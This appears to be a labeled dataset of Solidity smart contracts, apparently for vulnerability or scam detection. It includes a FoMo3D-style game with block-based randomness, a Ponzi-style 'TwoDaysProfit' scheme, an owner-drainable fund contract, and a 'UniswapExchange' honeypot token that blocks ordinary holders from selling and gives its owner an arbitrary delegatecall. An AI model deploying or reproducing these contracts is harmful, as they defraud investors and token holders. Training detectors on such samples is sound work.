plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,915 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,325 |
pragma solidity ^0.4.18;
interface token {
function transfer(address receiver, uint amount) external;
}
contract BobcoinPromotionAlpha {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
constructor (
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint miliEtherCostOfEachToken,
address addressOfTokenUsedAsReward
) public {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = miliEtherCostOfEachToken * 0.00005 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable public {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount * 10**18 / price);
emit FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() { if (now >= deadline) _; }
function checkGoalReached() public afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
emit GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() public afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
emit FundTransfer(msg.sender, amount, false);
} else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
emit FundTransfer(beneficiary, amountRaised, false);
} else {
fundingGoalReached = false;
}
}
}
} | 0 | 604 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
contract FundCenter {
using SafeMath for *;
string constant public name = "FundCenter";
string constant public symbol = "FundCenter";
event BalanceRecharge(address indexed sender, uint256 amount, uint64 evented_at);
event BalanceWithdraw(address indexed sender, uint256 amount, bytes txHash, uint64 evented_at);
uint lowestRecharge = 0.1 ether;
uint lowestWithdraw = 0.1 ether;
bool enable = true;
address public CEO;
address public COO;
address public gameAddress;
mapping(address => uint) public recharges;
mapping(address => uint) public withdraws;
modifier onlyCEO {
require(CEO == msg.sender, "Only CEO can operate.");
_;
}
modifier onlyCOO {
require(COO == msg.sender, "Only COO can operate.");
_;
}
modifier onlyEnable {
require(enable == true, "The service is closed.");
_;
}
constructor (address _COO) public {
CEO = msg.sender;
COO = _COO;
}
function recharge() public payable onlyEnable {
require(msg.value >= lowestRecharge, "The minimum recharge amount does not meet the requirements.");
recharges[msg.sender] = recharges[msg.sender].add(msg.value);
emit BalanceRecharge(msg.sender, msg.value, uint64(now));
}
function() public payable onlyEnable {
require(msg.sender == gameAddress, "only receive eth from game address");
}
function setGameAddress(address _gameAddress) public onlyCOO {
gameAddress = _gameAddress;
}
function withdrawBalanceFromServer(address _to, uint _amount, bytes _txHash) public onlyCOO onlyEnable {
require(address(this).balance >= _amount, "Insufficient balance.");
_to.transfer(_amount);
withdraws[_to] = withdraws[_to].add(_amount);
emit BalanceWithdraw(_to, _amount, _txHash, uint64(now));
}
function withdrawBalanceFromAdmin(uint _amount) public onlyCOO {
require(address(this).balance >= _amount, "Insufficient balance.");
CEO.transfer(_amount);
}
function setLowestClaim(uint _lowestRecharge, uint _lowestWithdraw) public onlyCOO {
lowestRecharge = _lowestRecharge;
lowestWithdraw = _lowestWithdraw;
}
function setEnable(bool _enable) public onlyCOO {
enable = _enable;
}
function transferCEO(address _CEOAddress) public onlyCEO {
CEO = _CEOAddress;
}
function setCOO(address _COOAddress) public onlyCEO {
COO = _COOAddress;
}
} | 1 | 2,720 |
pragma solidity ^0.4.24;
contract TwoDaysProfit{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 50;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0x47b609eb4d6fd781fb2d6617e9a8db183398bed5;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
